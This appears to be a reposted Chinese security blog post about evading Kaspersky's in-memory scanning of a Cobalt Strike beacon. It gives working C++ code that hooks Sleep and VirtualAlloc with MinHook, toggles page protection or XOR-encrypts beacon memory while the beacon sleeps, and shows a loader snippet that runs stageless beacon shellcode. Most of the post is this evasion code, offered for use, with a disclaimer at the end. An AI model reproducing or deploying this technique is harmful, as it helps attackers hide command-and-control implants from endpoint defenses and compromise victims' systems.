卡巴斯基会对当前机器的内存空间进行不定期的内存扫描,主动点击扫描的时候也会对系统内存进行检测。目前有一种bypass的思路就是利用beacon中的sleep通过打时间差来bypass然而硬件断点的方式占用资源高,放到实际环境中,使用一会目标机器会变的异常卡顿,这里我在想既然是通过Sleep去打时间差,直接在挂钩函数中Sleep前后修改内存属性不就行了吗,完全不需要硬件断点,或者直接去加密内存区域,sleep完之后再还原即可,没有必要等跳回内存区域执行的时候通过硬件断点触发去恢复内存区域的可执行属性。bypass代码如下:
PVOID g_DwSleep,g_DwVirtualAlloc;
typedef VOID(WINAPI *pSleep)(
_In_ DWORD dwMilliseconds
);
pSleep oldpSleep = NULL;
typedef LPVOID(WINAPI* pVirtualAlloc)(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
pVirtualAlloc oldpVirtualAlloc = NULL;
BYTE* g_FirstAddr = 0;
BYTE* g_PageAddr = 0;
DWORD g_PageSize = 0;
VOID WINAPI NewSleep(
_In_ DWORD dwMilliseconds
)
{
if (g_FirstAddr)
{
VirtualFree(g_FirstAddr,0,MEM_RELEASE);
//卸载VirtualAlloc hook
MH_DisableHook((LPVOID)g_DwVirtualAlloc);
g_FirstAddr = 0;
}
if (GetCurrentThreadId() == g_ThreadId)
{
//如下两种方式都可绕过
DWORD dwOld;
VirtualProtect(g_PageAddr, g_PageSize, PAGE_READWRITE, &dwOld);
//sleep前后直接加密内存
/*for (size_t i = 0; i < g_PageSize; i++)
{
g_PageAddr[i] ^= 0x11;
}*/
oldpSleep(dwMilliseconds);
VirtualProtect(g_PageAddr, g_PageSize, PAGE_EXECUTE_READWRITE, &dwOld);
/*for (size_t i = 0; i < g_PageSize; i++)
{
g_PageAddr[i] ^= 0x11;
}*/
}
else
{
oldpSleep(dwMilliseconds);
}
}
LPVOID
WINAPI
NewVirtualAlloc(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
)
{
LPVOID pret = oldpVirtualAlloc(lpAddress,dwSize,flAllocationType,flProtect);
g_PageAddr = (BYTE*)pret;
g_PageSize = dwSize;
return pret;
}
void bypassKasper()
{
HMODULE h1 = GetModuleHandleW(L"kernelbase.dll");
if (h1 == NULL)
{
h1 = GetModuleHandleW(L"kernl32.dll");
}
oldpSleep = (pSleep)GetProcAddress(h1, "Sleep");
oldpVirtualAlloc = (pVirtualAlloc)GetProcAddress(h1, "VirtualAlloc");
g_DwSleep = oldpSleep;
g_DwVirtualAlloc = oldpVirtualAlloc;
if (MH_Initialize() != MH_OK)
{
return;
}
MH_STATUS ns1 = MH_CreateHook((LPVOID)g_DwSleep, &NewSleep, reinterpret_cast<LPVOID*>(&oldpSleep));
MH_STATUS ns2 = MH_EnableHook((LPVOID)g_DwSleep);
MH_STATUS ns3 = MH_CreateHook((LPVOID)g_DwVirtualAlloc, &NewVirtualAlloc, reinterpret_cast<LPVOID*>(&oldpVirtualAlloc));
MH_STATUS ns4 = MH_EnableHook((LPVOID)g_DwVirtualAlloc);
在加载器执行stageless的shellcode之前执行下bypassKasper
函数即可。比如:
BYTE* bData = (PBYTE)VirtualAlloc(NULL, sizeof(Beacon_Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
pShellFunc pFunc = (pShellFunc)bData;
//执行之前pass卡巴
g_ThreadId = GetCurrentThreadId();
g_FirstAddr = bData;//这部分区域在hook的sleep中释放掉,否则也会被内存特征
bypassKasper();
pFunc();//执行stageles的shellcode
执行效果如下:
原文始发于微信公众号(开普勒安全团队):再谈cobalt strike bypass 卡巴内存检测
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论